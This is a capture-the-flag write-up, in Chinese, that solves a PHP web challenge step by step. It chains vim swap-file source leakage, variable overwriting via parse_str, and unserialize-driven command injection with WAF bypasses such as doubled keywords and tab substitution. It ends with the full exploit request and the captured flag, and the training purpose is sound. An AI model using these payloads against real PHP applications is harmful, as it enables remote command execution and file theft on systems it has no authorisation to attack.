PHP反序列化漏洞

0x00 前言

  • 本次总结用到的题目是“2018全国大学生网络安全邀请赛”的赛题,题目名称为Web2。

0x01 通过vim源码泄露获取源代码

  • 拿到题目,只有一个Can you hack me?显示,F12查看也没有什么端倪。文件本身为index.php,访问.index.php.swp得到其vim交换文件,典型的源码泄露。在Linux中可以还原出index.php
vim -r index.php
  • 题目源代码如下:
<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come);
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

0x02 PHP变量覆盖

  • 观察代码可知其定义了first,var,bbb,ccc变量,后面又判断它们的值是否为其他的值,很明显是变量覆盖问题。观察下列代码:
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
  • 如果不控制变量i的值的话,会将第一个GET参数进行赋值操作。再向下看:
@parse_str($_GET['a']);
  • 这句话会将GET参数a按照HTTP参数列表的方式解析,通过这一点可以构造更多的参数来覆盖后续的变量,所以我们构造URL:
/index.php?first=doller&a=var=give%26bbb=me%26ccc=flag
  • 总体来看传入了两个参数,一个是first参数,值为doller,用来通过foreach循环覆盖原有变量,过掉第一个条件,第二个参数是a,值为var=give%26bbb=me%26ccc=flag,在parse_str函数处会将这个参数进行parse,之后得到var,bbb,ccc,来覆盖后续的变量,过掉下面的if语句。这里注意要对&符号进行URL编码,即%26,不然服务器无法得到正确的值。

0x03 PHP反序列化

  • 到最内层只剩一个反序列化函数了,同时上面给出一个类:
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}
  • 接受一个POST参数come,然后对其进行反序列化。在反序列化时,PHP会先自动调用__wakeup魔术方法,这个方法又调用了waf方法进行过滤,然后在代码块结束时调用__destruct析构方法释放对象。
  • 观察代码可知,其要求类的成员method是一个字符串,值必须为echo,用来调用echo方法执行系统命令,同时要求类的成员args为一个数组,数组是echo方法的参数列表,即只有一个key-value,也就是host => 我们要传入的参数
  • 这里在构造对象字符串的时候有一个坑,就是两个成员都是私有成员,所以其参数名称为:%00类名%00成员名称,不知道这是个什么鬼设计,同时这里面是直接赋值的,反序列化时不会调用__construct方法。例如构造如下的POST参数:
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:1:"a";}}
  • 就代表传入一个come对象,其method成员为echo,其args成员为host => a,稍微解释一下这个字符串:

  • O代表对象,s代表字符串,i代表整型,a代表数组

  • 声明对象本身:O:类名长度:类名:成员个数:{成员列表}

  • 其中成员列表为:method成员: s:成员名长度:成员名;s:成员值长度:成员值;args成员: s:成员名长度:成员名;a:数组元素个数:{s:数组Key长度:数组Key的值;s:数组value长度:数组value的值;}

  • 构造好之后,开始研究怎么绕过waf,一开始想到的是利用漏洞CVE-2016-7124,在输入的类成员个数的值大于实际成员个数值的时候,存在可以绕过__wakeup的漏洞,这样就不会执行waf方法了,构造POST参数:

come=O:4:"come":3:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:9:"cat /flag";}}
  • 这里面实际只有两个成员,但是声明的是3个,如果服务器存在该漏洞就会触发,但是测试之发现服务器并不存在该漏洞,那么只能尝试绕过waf的过滤。
  • waf中使用正则表达式对某些字符进行了过滤,还过滤了字符串flag,经过尝试发现,空格可以用TAB代替(URL编码为%09),想要执行多个命令可以使用&&来拼接(URL编码为%26%26),而对flag的过滤,我的直观想法是使用大写转小写,或者字符替换,其中大写转小写为:
echo 1&&typeset%09-l%09a&&a=Flag&&cat%09/$a
  • 这里使用typeset之后会自动将a变量的大写字母全部转为小写字母,然后再利用a变量进行操作。本地测试通过,但是实际测试服务器没能成功执行typeset这个指令。于是转而使用字符替换的方法:
echo 1&&a=Flag&&cat%09/${a/F/f}
  • 这里使用${a/F/f}的意思是,将字符串a中首次出现的模式F替换为f。,然后再利用a变量进行操作。本地测试通过,但是实际测试服务器依旧没能成功执行cat /${a/F/f}命令。我甚至都去看了根目录:
echo 1&&ls%09-l%09/
  • 都在根目录发现了flag文件,我甚至还去读取了/etc/passwd都成功了。不过最终依旧没能拿到flag,如果有大佬知道哪里不对的话请指点。

  • 更新:经过大佬指点,对于flag的绕过不必这么麻烦,因为实际上用的是替换,所以可以这样构造:

echo 1&&cat%09/flflagag
  • waf替换掉flag的操作只会进行一次,所以替换完了之后正好剩下一个flag,就可以绕过其限制,最终的Payload为:
POST /index.php?first=doller&a=var=give%26bbb=me%26ccc=flag HTTP/1.1
Host: d1caba9ae5ec40e2badd5759806b6b095e057623213f4e8e.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:16:"1%26%26cat%09/flflagag";}}
  • 得到答案:
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 15:30:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 61
Connection: keep-alive
<br>welcome!<br>1
flag{7387b9ee-4712-4519-95a9-bca321590110}

0x04 总结

  • 本题主要考察vim源码泄露、PHP变量覆盖、PHP反序列化漏洞以及参数过滤绕过的问题,下面进行一个小小的总结:
  • 使用vim编辑文件,强行退出后会保留一个形如.name.php.swp的文件,该文件可能会泄露源代码
  • PHP中有多种函数可以对变量的值进行设置,包括extract,parse_str等等,这些函数在使用的时候,如果传入的参数为$_GET或者$_POST这类攻击者可控的参数,就可能覆盖原有的变量,改变程序逻辑。
  • PHP使用unserialize方法用于反序列化,如果该方法的参数是攻击者可控的,可能会产生PHP反序列化漏洞。在反序列化时,会先调用__wakeup魔术方法,不会调用__construct魔术方法,在代码块结束时会调用__destruct方法进行清理。在序列化时调用的是__sleep方法。
  • PHP序列化对象时,要注意类的成员权限,特别是私有成员,其成员名字为%00类名成员名%00,保护成员名字为%00*成员名%00
  • PHP在反序列化时,低版本PHP存在CVE-2016-7124漏洞,如果传入的反序列化的对象,其声明的成员个数大于实际的成员个数,会触发漏洞允许攻击者绕过__wakeup魔术方法。
  • 遇到字符串过滤时,如果不是循环过滤,可以考虑类似flflagag这样的双写绕过方式。

PHP反序列化漏洞》有1个想法

评论已关闭。